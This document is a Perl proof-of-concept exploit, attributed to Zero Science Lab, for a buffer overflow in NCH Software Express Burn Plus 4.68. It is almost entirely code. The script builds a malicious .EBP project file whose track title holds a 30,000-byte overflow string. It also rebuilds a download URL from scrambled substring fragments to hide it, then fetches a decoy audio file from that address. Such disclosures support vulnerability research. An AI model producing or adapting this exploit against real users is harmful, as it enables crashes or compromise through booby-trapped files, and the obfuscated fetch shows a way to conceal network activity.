NCH Software Express Burn Plus 4.68缓冲区溢出漏洞

                                                use Cwd;
use LWP::Simple;

print "\n
        #=---===---===---===---===---===---===---===---=#
        |                                               |
        |          Proof Of Concept script for          |
        |                                               |
        |     NCH Software Express Burn Plus v4.68      |
        |                                               |
        |                                               |
        |               ID: ZSL-2014-5166               |
        |                                               |
        |                      ---                      |
        |                                               |
        |               Copyleft (c) 2014               |
        |                                               |
        |  Zero Science Lab - http://www.zeroscience.mk |
        |                                               |
        #=---===---===---===---===---===---===---===---=#
        \n";

$file = "Exploit2.EBP";

$zoom = substr(")aZh4/",3,1).substr("^7ttr",2,2).substr("p>eErZ",0,1).
        substr("7U:/.9",2,2).substr("v/!+T",1,1).substr("oL4z55",3,1).
        substr("erY3%",0,2).substr("8oscW1",1,3).substr("iLien@",2,3).
        substr("*hJ2ce",4,2).substr("6.#h1A",1,1).substr("mk-((",0,2).
        substr(">/cZo",1,2).substr("[Mood]4",3,2).substr("lesS?",1,2).
        substr("a*\@J/b",4,2).substr("lue8X",0,3).substr("fish6",0,4).
        substr(",,8Y.b",4,1).substr("GrUmp!",3,2).substr("1337:",2,1);

        print "\n\n\x20\x20\x1A Creating malicious project file...\n\n";
        $decoy = "440Hz.mp3";
        getstore($zoom, $decoy);
        print "\x20\x20\x1A Throwing decoy file: $decoy...\n";
        $buffer = "\x41\x41\x41\x41" x (15000/2);
        $dir = getcwd;
        $dir =~ s/\//\\/g;

$load = "<?xml version=\"1.0\"?>\<ExpressBurnProject type=\"0\"><Alb".
        "umTitle/><TrackList><Audiotrack file=\"$dir\\$decoy\" title".
        "=\"$buffer\" artist=\"Salvador\"/></TrackList>\r</ExpressBu".
        "rnProject>\r";

        open fp, ">./$file" || die "\n[-] Can't open $file: $!\n\n";
        print fp $load; close fp;
        print "\n\x20\x20\x19 File created successfully: $file ";
        $file = -s $file; print "($file bytes)\n\n\n";